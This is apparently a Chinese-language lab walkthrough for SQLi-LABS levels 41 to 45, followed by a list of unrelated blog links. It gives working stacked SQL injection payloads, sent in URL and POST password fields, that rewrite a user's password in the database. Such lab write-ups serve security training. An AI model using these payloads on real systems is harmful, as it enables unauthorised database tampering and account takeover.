SQLi-LABS通关攻略【41-45】

SQLi-LABS 41关

这一关是堆叠注入

测试闭合

?id=1' //回显错误

?id=1'--+ //回显错误

?id=1--+ //回显正确

所以是数字型的注入

测试堆叠注入,更改Dumb的密码

复制代码
?id=1;update users set password='123456' where username='Dumb'--+

SQLi-LABS 42关

这一关使用的是post传参,所以需要进行抓包,依旧是堆叠注入

在密码处进行堆叠注入,更新Dumb的密码为123

返回登录测试是否更改成功

SQLi-LABS 43关

这一关和上一关一样,都是密码处是堆叠注入,只不过闭合方式是单引号加括号

复制代码
1'); update users set password='666' where username='Dumb' --+

SQLi-LABS 44关

这一关和四十二关一样

SQLi-LABS 45关

这一关和四十三关一样,都不在赘述

相关推荐
中冕—霍格沃兹软件开发测试16 分钟前
测试用例库建设与管理方案
数据库·人工智能·科技·开源·测试用例·bug
The star"'20 分钟前
mysql(4-7)
数据库·mysql·adb
jiayong231 小时前
Redis面试深度解析
数据库·redis·面试
思成不止于此1 小时前
【MySQL 零基础入门】DQL 核心语法(四):执行顺序与综合实战 + DCL 预告篇
数据库·笔记·学习·mysql
weixin_462446231 小时前
SpringBoot切换Redis的DB
数据库·spring boot·redis
哇哈哈&1 小时前
安装wxWidgets3.2.0(编译高版本erlang的时候用,不如用rpm包),而且还需要高版本的gcc++19以上,已基本舍弃
linux·数据库·python
雨中飘荡的记忆1 小时前
HBase实战指南
大数据·数据库·hbase
数据库学啊2 小时前
车联网时序数据库哪家好
数据库·时序数据库
Luna-player3 小时前
在javaweb项目中,在表中的数据中什么是一对一,一对多,多对多
数据库·oracle
一 乐3 小时前
家政管理|基于SprinBoot+vue的家政服务管理平台(源码+数据库+文档)
前端·javascript·数据库·vue.js·spring boot